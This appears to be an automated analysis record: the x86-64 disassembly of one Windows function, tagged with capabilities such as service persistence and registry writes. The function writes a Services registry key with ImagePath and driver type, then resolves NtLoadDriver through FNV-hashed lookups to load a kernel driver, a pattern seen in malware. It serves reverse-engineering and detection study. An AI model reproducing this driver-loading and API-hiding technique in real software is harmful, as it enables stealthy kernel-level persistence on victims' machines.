Function at 0x140013780
Capabilities:
Encode data using xor
Hash data using fnv
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140064040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov rdi, r8
mov rsi, rdx
xor ebx, ebx
cmp qword [r8 + 0x10], rbx
je 0x140013938
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x68], 1
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp - 0x60]
call fcn.140046b10
cmp qword [rdi + 0x18], 7
jbe 0x1400137ef
mov rdi, qword [rdi]
mov r9, rdi
lea r8, str.___s
mov edx, 0x104
lea rcx, [rbp - 0x60]
call fcn.14000a370
lea r8, [rsp + 0x58]
lea rdx, str.systemCurrentControlSetServices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x14001385c
mov rcx, qword [rsp + 0x50]
test rcx, rcx
jle 0x140013834
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
jle 0x140013924
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword gs:[0x30]
mov eax, dword [rax + 0x1250]
jmp 0x140013bb6
mov rdx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x140013869
mov rdx, qword [rsi]
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140013824
lea rcx, [rbp - 0x60]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
lea rax, [rax + 1]
cmp word [rcx + rax*2], bx
jne 0x140013890
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
jne 0x140013829
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
mov rcx, qword [rsp + 0x50]
test rcx, rcx
jle 0x140013910
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
jle 0x140013920
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x140013938
mov rax, qword gs:[0x30]
mov eax, dword [rax + 0x1250]
jmp 0x140013bb6
mov r8, rsi
lea rdx, str._registrymachineSYSTEMCurrentControlSetServices_
lea rcx, [rsp + 0x70]
call fcn.140009ab0
nop
call fcn.140001b30
mov r14, rax
lea r12, [rsp + 0x70]
cmp qword [rbp - 0x78], 7
cmova r12, qword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, 0x14
lea rdx, str.RtlInitUnicodeString
lea rcx, [rsp + 0x30]
call fcn.140002a20
nop
call fcn.140006c20
lea r15, [r14 + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rdx, [rsp + 0x30]
mov rsi, qword [rsp + 0x30]
mov r13, qword [rsp + 0x48]
cmp r13, 0xf
cmova rdx, rsi
movabs rdi, 0xcbf29ce484222325
mov r9, rdi
mov rcx, rbx
movabs r10, 0x100000001b3
mov r8, qword [rsp + 0x40]
test r8, r8
je 0x1400139f3
nop dword [rax]
movzx eax, byte [rdx + rcx]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, r8
jb 0x1400139e0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x58]
mov rcx, r14
call fcn.140002dc0
mov r8, qword [rax + 8]
test r8, r8
je 0x140013a32
cmp r8, qword [r14 + 8]
je 0x140013a32
mov r14, qword [r8 + 0x30]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test r14, r14
je 0x140013a3c
mov rdx, r12
lea rcx, [rbp - 0x70]
call r14
jmp 0x140013a3c
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
cmp r13, 0xf
jbe 0x140013a73
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140013a6b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013be6
mov rcx, rsi
call fcn.14002675c
call fcn.140001b30
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, 0xc
lea rdx, str.NtLoadDriver
lea rcx, [rsp + 0x30]
call fcn.140002a20
nop
call fcn.140006c20
lea rcx, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, [rsp + 0x30]
mov rsi, qword [rsp + 0x30]
mov r15, qword [rsp + 0x48]
cmp r15, 0xf
cmova rcx, rsi
mov rdx, qword [rsp + 0x40]
test rdx, rdx
je 0x140013af3
movabs r8, 0x100000001b3
nop
movzx eax, byte [rbx + rcx]
xor rdi, rax
imul rdi, r8
inc rbx
cmp rbx, rdx
jb 0x140013ae0
mov r9, rdi
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x58]
mov rcx, r13
call fcn.140002dc0
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140013b34
cmp rdx, qword [r13 + 8]
je 0x140013b34
mov rbx, qword [rdx + 0x30]
lea rcx, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x140013b3e
lea rcx, [rbp - 0x70]
call rbx
mov ebx, eax
jmp 0x140013b43
lea rcx, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ebx, 0xc0000138
cmp r15, 0xf
jbe 0x140013b77
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140013b6e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013be6
mov rcx, rsi
call fcn.14002675c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140013bb4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013baf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013be0
call fcn.14002675c
mov eax, ebx
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.1400264c0
mov rbx, qword [rsp + 0x300]
add rsp, 0x2c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14002d454
nop
call fcn.14002d454
nop
int3